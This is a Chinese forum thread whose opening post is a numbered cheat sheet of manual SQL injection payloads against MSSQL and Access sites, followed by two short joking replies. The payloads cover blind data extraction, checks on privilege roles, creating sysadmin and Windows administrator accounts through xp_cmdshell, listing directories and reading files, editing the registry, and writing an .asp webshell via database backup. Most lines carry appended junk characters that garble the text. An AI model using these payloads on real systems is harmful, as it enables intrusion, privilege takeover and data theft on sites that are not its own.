社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4108阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 J~#;<e{\"  
  2.初步判断是否是mssql ;and user>0 dd]/.Z  
Fd0 %lnui  
  3.注入参数是字符'and [查询条件] and ''=' P*cNh43U  
;[fw]P n  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' ,?L2wl[  
ki85!k=Q2  
  5.判断数据库系统 V0)fZS@tf  
$m42:amM  
  ;and (select count(*) from sysobjects)>0 mssql s8}@=]aA  
#5V9o KM  
  ;and (select count(*) from msysobjects)>0 access uDEvzk42  
hZ.Z3`v70  
Q[nEsYP  
mauI42  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 k+ze74_"  
fMOU$0]$<  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 R~Ne|V2  
9(@\&>)  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 fl\ly `_  
#-bA[eQV  
  9.(1)猜字段的ascii值(access) TA{\PKA)  
g1jTy7g?  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 5H ue7'LS  
8 XU1 /i7N  
  (2)猜字段的ascii值(mssql) >Q(3*d >  
3+XOZh8  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 )b:7-}d  
Z l*X?5u  
  10.测试权限结构(mssql) KQ~i<1&j  
rb|U;)C  
[ i]Ub0Dh7  
e d<n9R  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- h=:Q-?n-  
9]@A]p!  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- m}X`> aD/  
@7B$Yy#  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- sQ fFu  
~8]NK&J  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- p>upA)W]  
7(5 4/  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- oZAB_A)[-  
R00eisd  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ~m$Y$,uH  
m&?#;J|B$  
  ;and 1=(select IS_MEMBER('db_owner'));-- 7R`mf   
S;)w.  
'#&os`mQ  
O<,\^[x  
  11.添加mssql和系统的帐户 9<>wIl*T`  
mVy|{Oh  
  ;exec master.dbo.sp_addlogin username;-- 4y+< dw  
  ;exec master.dbo.sp_password null,username,password;-- uH(f$A  
Wr( y)D<y}  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;--  w/kt3Lw  
}yz (xH  
  ;exec master.dbo.xp_cmdshell 'net user username password `I3r3WyA  
hy`?E6=9+  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- fP. 6HF_p_  
?W)A   
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- vMm1Z5S/  
|fHV2Y`:g  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- v+X)Qmzf~  
6#HK'7ClL  
u4/kR  
{o>j6RS\  
  12.(1)遍历目录 aL&n[   
o:_Xv.HRZo  
  ;create table dirs(paths varchar(100), id int) dzDqZQY$  
BDjn !3  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' pNKhc#-w  
}3OKC2K~  
  ;and (select top 1 paths from dirs)>0 MZT23 [+  
6Q${U7%7  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ;u>DNG|.  
`nZ)>  
=Xqc]5[i  
;oy-#p>N%  
  (2)遍历目录 ])nPPf  
Y9&,t\ q  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- rl #p".4q  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 BBtzs^C|  
rv|)n>m  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ]{ntt}3G,  
P7{gfiB  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Uk6HQQ  
orjj' +;X  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 LyAn&h}  
ZR(x%ews  
,.}]ut/Tm  
njWL U!  
  13.mssql中的存储过程 0Nnsjh  
1q,{0s_kp  
  xp_regenumvalues 注册表根键, 子键 lLF-{  
(aH'h1,G  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 `0Oh_8"  
"$2 y-|  
  xp_regread 根键,子键,键值名 n:{qC{D-qS  
!;KCU^9  
  ;exec xp_regread ;,?KI$K  
5) pj]S!]-  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 _t^{a]/H  
s]f6/x/~  
  xp_regwrite 根键,子键, 值名, 值类型, 值 &2{ tF  
 ~Hr}]  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ]hFW 73FV  
HBu[gh;b  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 LdL/399<  
Wwr;-Qa}g  
  xp_regdeletevalue 根键,子键,值名 H*$jc\ dC  
d'G0m9u2  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 6jC`8l:  
Bg|5KOnd  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Aj+2;]M  
Y07ZB'K  
'.81zpff  
5'X ]k@m_  
  14.mssql的backup创建webshell @T'i/}nl  
P_Gw-`L5T  
  use model RT.D"WvT  
-UOj>{-  
  create table cmd(str image); "O%gFye  
MP4z-4Y  
  insert into cmd(str) values (''); !BOY@$Y  
%)0*&a 4  
  backup database model to disk='c:\l.asp'; Fd[zDz  
jhb6T ?}  
mjKS{  
Yd#/1!A7u  
  15.mssql内置函数 {l/-LZ.  
2kIa*#VOJ  
  ;and (select @@version)>0 获得Windows的版本号 7Z-O_h3;)@  
f]\CD<g3|E  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa 2C9V|[U,  
br":y>=,  
  ;and (select user_name())>0 爆当前系统的连接用户 {;:/-0s  
IHcD*zQ  
  ;and (select db_name())>0 得到当前连接的数据库 Wb?8j M  
[Z}9>~m  
$D|e>U  
T<55a6NoK  
  16.简洁的webshell 4DL)rkO  
Cc%LztP>  
  use model rU2%dkTa  
K"4>DaK2P  
  create table cmd(str image); ck.w 5|$  
 D0% Ug>  
  insert into cmd(str) values (''); (K)]qNH  
Te<}*qvD  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五